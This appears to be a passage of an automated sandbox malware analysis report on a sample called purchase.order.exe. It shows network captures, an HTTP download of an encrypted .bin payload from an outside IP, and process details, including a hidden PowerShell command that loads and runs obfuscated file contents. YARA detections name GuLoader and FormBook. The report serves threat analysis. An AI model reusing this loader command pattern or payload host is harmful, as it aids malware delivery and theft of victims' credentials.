Dec 10, 2024 14:09:53.650923014 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.652682066 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.653099060 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.653158903 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.654700041 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.654742002 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.654814005 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.656219006 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.656286001 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.656299114 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.656354904 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.658018112 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.658073902 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.658127069 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.659799099 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.660113096 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.660156965 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.661561012 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.661725998 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.661775112 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.663408995 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.663415909 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.663472891 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.665273905 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.665281057 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.665338039 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.667808056 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.667814970 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.667870045 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.669195890 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.669203043 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.669258118 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.670248032 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.670327902 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.670665979 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.671428919 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.671865940 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.671919107 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.672027111 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.672068119 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.673280001 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.673348904 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.673379898 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.675287008 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.675293922 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.675340891 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:53.676520109 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.676526070 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:53.676584959 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:10:14.624515057 CET	49707	80	192.168.2.10	212.162.149.66

HTTP Request Dependency Graph

212.162.149.66

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	212.162.149.66	80	6888	C:\Users\user\AppData\Local\Temp\Fathoming.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 14:09:51.673574924 CET	193	OUT	GET /JiYpNWaslXZHcEPiPEuXaEONVju173.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: 212.162.149.66 Cache-Control: no-cache
Dec 10, 2024 14:09:52.971339941 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 10 Dec 2024 08:23:46 GMT Accept-Ranges: bytes ETag: "b31f3d4dc4adb1:0" Server: Microsoft-IIS/8.5 Date: Tue, 10 Dec 2024 13:09:54 GMT Content-Length: 287808 Data Raw: 14 f0 a5 38 b6 42 d8 5a 66 3e e7 98 5d 2c c0 b8 6b 5a 96 28 3b f5 b2 04 78 44 49 bb 42 d5 6b 19 63 94 73 32 de d0 e4 ca b7 b2 03 b9 e3 35 a9 eb b6 c4 50 14 8d 9b a4 8f 19 bc 94 10 9f b4 59 f0 0b d0 ad 6e 32 b7 80 02 3c 53 a5 ed de 9a d1 27 be 7f ed 83 74 6d d2 dd 81 d6 44 a3 77 dc b7 44 7d 82 45 9e 26 2a d0 17 83 ea d1 af 35 ec 74 e0 71 b3 49 a5 4b 87 ea b3 23 28 d1 61 ae 80 61 9b c5 90 53 67 ab 50 c4 05 09 a7 a0 f1 47 69 cc 0b dc c9 e1 0a 3c 3d c2 38 aa a4 00 71 2f c7 5c e5 40 2f 64 7d 12 2c f2 16 9f e7 6e 49 41 07 c9 9d 23 49 b4 4e 21 1d c3 61 a9 b8 32 7b ad 48 de 51 97 6f 7b e0 1d 78 12 5a 49 67 67 dc 24 8c 7c 87 ea 5e c4 1e 53 b8 4d 42 7a bd eb d0 46 af 46 ba 6f 36 13 a7 5c 59 0c 0f 88 12 42 97 47 26 cf 65 b0 19 40 97 53 4b c1 df 00 22 1e 7f 39 70 4d 17 41 7a 64 6a 42 9e 79 67 f6 83 6f e0 40 0b 2e d6 33 51 05 47 5e 97 80 3d 3e aa 2b 00 f2 d6 a7 f2 3e c2 96 73 21 c5 3b a7 e8 86 75 ec e9 ba 9b a1 86 46 d3 b6 ed 34 f7 c0 3a ce d9 88 db ff 65 b2 eb 73 fc 56 d9 a3 78 99 f1 51 11 69 d5 f5 fc 89 ac bc [TRUNCATED] Data Ascii: 8BZf>],kZ(;xDIBkcs25PYn2<S'tmDwD}E&5tqIK#(aaSgPGi<=8q/\@/d},nIA#IN!a2{HQo{xZIgg$\|^SMBzFFo6\YBG&e@SK"9pMAzdjBygo@.3QG^=>+>s!;uF4:esVxQi\nX5suzhU9+U[LCY{@Rd7h{Q+RKvZf%7!/`L[s7g&${c05;UC^bx'dG\1CeEJ6jT/qF?Rh#/<7]J0=l3(:Hz(Zr>HN2Qp0$"Vl5!7LTK -f(6eWw]V_Z5#YBCp`;?2@bbzJeXj05\|yhHD{Q= 2n:gFdlOe}r`(L<5zS^O@\QY2dDaya#Y2>}IQk?Q8v3WE&)%":fL3@lc5CgzP%O[Tx}V.a&7V\|%<N"SP@3yW3Gh'CGw`7\|`Yp'Q?(q
Dec 10, 2024 14:09:52.971940994 CET	1236	IN	Data Raw: c0 69 61 9b 9d bf fc be bb 89 48 ba 12 09 b9 de a0 ae 06 70 98 ea a8 9f 8f a8 95 d1 c0 7d 1c 41 03 37 7b 03 bb 6a 79 69 33 29 3e 46 70 12 df 93 9a 99 39 8e d3 89 65 eb 62 2b 8d aa 99 fe e2 3f 46 28 48 74 1f 9e ea 92 38 dc 26 e2 b5 3b 3a ba 66 ba Data Ascii: iaHp}A7{jyi3)>Fp9eb+?F(Ht8&;:fR[#V)u {`bX^RC1pj6X-xURGorJlWF,{gSz&`)eL_fqZ'&ld#xkgRBs$YN1aOSqT
Dec 10, 2024 14:09:52.971949100 CET	448	IN	Data Raw: 04 7a a5 a2 be 1f 53 a5 5e 4f b2 40 c8 cb eb de 5c 51 90 8b 59 32 fc ac 64 d4 44 b4 ca 90 de 61 0e ae f0 eb f5 79 de 61 02 bd 23 59 c0 9f 9a 13 f0 93 f9 04 32 3e 7d 99 fd 49 11 99 51 6b 10 02 15 3f 99 ad b2 12 ef cf 51 38 e6 95 a6 76 09 7f c0 00 Data Ascii: zS^O@\QY2dDaya#Y2>}IQk?Q8v3WE&)%":fL3@lc5CgzP%O[Tx}V.a&7V\|%<N"SP@3yW3Gh'CGw`7\|`Yp'Q?(qiaHp
Dec 10, 2024 14:09:52.971956968 CET	1236	IN	Data Raw: d5 e5 a9 80 85 61 f4 06 4f 53 eb 71 54 00 17 b0 ff 67 b0 f2 e2 33 eb 24 57 13 0c 1d 21 3f 3f 6b 22 61 c8 3a ad 17 01 8e 74 f2 fc c9 37 1a 4f e9 6c 49 9b 07 bf ae 5b a5 68 ef c5 8a 72 64 97 80 b2 b1 93 dd 9e 26 5f 83 38 0b 27 80 d6 68 40 4d 9b 3a Data Ascii: aOSqTg3$W!??k"a:t7OlI[hrd&_8'h@M:p#o(JfHRCY98iJpu'f;P{E%D9g\\|F84X{j"Ro,z+;m4CS{W%v(JZ_/DuL8Lph
Dec 10, 2024 14:09:52.972007990 CET	1236	IN	Data Raw: fc be bb 89 48 ba 12 09 b9 de a0 ae 06 70 98 ea a8 9f 8f a8 95 d1 c0 7d 1c 41 03 37 7b 03 bb 6a 79 69 33 29 3e 46 70 12 df 93 9a 99 39 8e d3 89 65 eb 62 2b 8d aa 99 fe e2 3f 46 28 48 74 1f 9e ea 92 38 dc 26 e2 b5 3b 3a ba 66 ba 94 f1 0e 03 52 e5 Data Ascii: Hp}A7{jyi3)>Fp9eb+?F(Ht8&;:fR[#V)u {`bX^RC1pj6X-xURGorJlWF,{gSz&`)eL_fqZ'&ld#xkgRBs$YN1aOSqTg3
Dec 10, 2024 14:09:52.972042084 CET	448	IN	Data Raw: 26 a7 5d b9 33 be 38 ed eb de 20 8d 1b ce 55 c1 f3 d2 21 0c 22 bb 1c 90 2d 6e 70 eb 10 8d fa af 9e 69 f1 b2 5d 1c 28 c0 fc 1c 26 d3 e9 f7 3d 40 38 69 a3 2f 1e 4f 11 73 4b 89 f0 62 5a 16 c5 36 ef cf e9 45 85 4f a2 81 e2 be 3a 02 6b a5 f2 56 88 8a Data Ascii: &]38 U!"-npi](&=@8i/OsKbZ6EO:kV2?O6#%eo$8l}VDFl}.)r*ynCA#g{w-hF1%p9ro%Vtq1'~8o6?Z}wE1U#\
Dec 10, 2024 14:09:52.973244905 CET	1236	IN	Data Raw: f4 be 5a 51 a6 50 a3 ef d6 4a fa ec 4a 33 0d 2c e8 de 22 fe b5 c3 31 3f 3f 80 24 ec 53 3a ad 17 01 36 3f c6 8c 42 c0 f3 4c 38 ad b3 9c 8c 75 6f b2 ba 6b 25 b0 61 ff 21 37 d0 3f 34 ff 22 61 d9 0f 6b 63 1c 27 80 55 ac 48 f5 55 45 70 23 6d aa c3 bc Data Ascii: ZQPJJ3,"1??$S:6?BL8uok%a!7?4"akc'UHUEp#mn&6]o9Y`I~8iJ2u~)>,5.9w^8"#I87>@J5U=,:+X'IM`b
Dec 10, 2024 14:09:52.973633051 CET	1236	IN	Data Raw: b3 76 b9 de dc 59 87 8a 75 e9 a8 9f f2 86 2b 3d c3 7d 1c 6a f1 8f 5e 4a 29 4e 8e 8f 18 db ef a8 73 e0 54 c6 66 58 d7 8c 50 4b 62 66 66 de 8d aa 99 fe c9 f9 cd 5d b0 77 cf 17 bf 6e bd 15 52 f7 0d 9a 9a 1a c6 4d 7d f2 df c2 a8 e3 5a 50 3b e6 44 ee Data Ascii: vYu+=}j^J)NsTfXPKbff]wnRM}ZP;DZ&u]iX"$4-UO\cC7;"I]0pdT}d/0V#-JIK"ckx&l7tNWg\\e?nIO(f$WY
Dec 10, 2024 14:09:52.973639965 CET	1236	IN	Data Raw: 09 31 ee 55 96 90 79 94 5a f8 89 41 ed 99 98 3f 87 80 55 e0 2a ac f0 eb 0a a9 55 1c e2 d7 6d d4 45 b7 65 ec 0f c3 ae ec 2f 30 7d 99 76 1c 01 aa a7 e8 d4 0e 2c 8d a9 af b2 12 99 82 da ba d2 96 a6 76 4f f5 80 03 d0 3b 0d 42 1c 0b dc 97 d2 90 e7 e1 Data Ascii: 1UyZA?U*UmEe/0}v,vO;B{+9vndN$-RO3h^bYOk[EF8V.oSJm{ud-h=G3G23G~B0o`$' C'zg(EhHCCg>{jW
Dec 10, 2024 14:09:52.973645926 CET	1236	IN	Data Raw: 6c be 6f 2a f6 90 fe e2 f9 8b bf e9 0e 03 7f a3 80 08 0e 0b 71 25 4b 18 61 87 b0 3b 7e 75 14 32 39 e8 3c da b3 6c 33 1f 27 e4 52 47 15 bd a0 94 f7 ed 35 d7 ec 26 6e 13 1d 79 2f a5 0f ae f7 0c c1 8a 34 d0 ee 66 f8 cd 6f fb bf 81 60 92 a3 f4 a4 5f Data Ascii: loq%Ka;~u29<l3'RG5&ny/4fo`_G]WY9\|#,qqOzof?}.DaOvse-y}Zd~5&6+zKw_';9da"A3Bt9w{OY.]eEC6CRRUreou
Dec 10, 2024 14:09:53.127928972 CET	1236	IN	Data Raw: a4 d3 ce c0 0a a9 58 42 4f 50 25 05 94 85 73 75 75 61 77 5c cf 0e f0 59 74 30 19 e1 17 05 b8 49 91 6c 30 37 a5 7d 24 39 fa dd a3 68 85 1d a8 07 ab f7 a9 59 00 9c 59 46 ae de 97 96 b6 85 39 18 67 3e 1b c5 d4 37 cd 68 17 a0 4b 36 14 e2 75 6f ad 48 Data Ascii: XBOP%suuaw\Yt0Il07}$9hYYF9g>7hK6uoHrb/96EHy2rT_FsD'\96nO!9]iD%{ToDLEj4/0P#ZOk0U=l`(LL

Target ID:	0
Start time:	08:07:35
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\purchase.order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\purchase.order.exe"
Imagebase:	0x400000
File size:	801'068 bytes
MD5 hash:	8125E510DF447B0EAD0E263D006A253E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	08:07:36
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Unsolaced207=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Pennyroyal.Gri';$Fortolkningssikker=$Unsolaced207.SubString(29825,3);.$Fortolkningssikker($Unsolaced207)
Imagebase:	0xd40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2661158092.0000000008F37000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	08:07:36
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	08:09:36
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Fathoming.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Fathoming.exe"
Imagebase:	0x400000
File size:	801'068 bytes
MD5 hash:	8125E510DF447B0EAD0E263D006A253E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3003104703.0000000021750000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 18%, ReversingLabs
Reputation:	low
Has exited:	true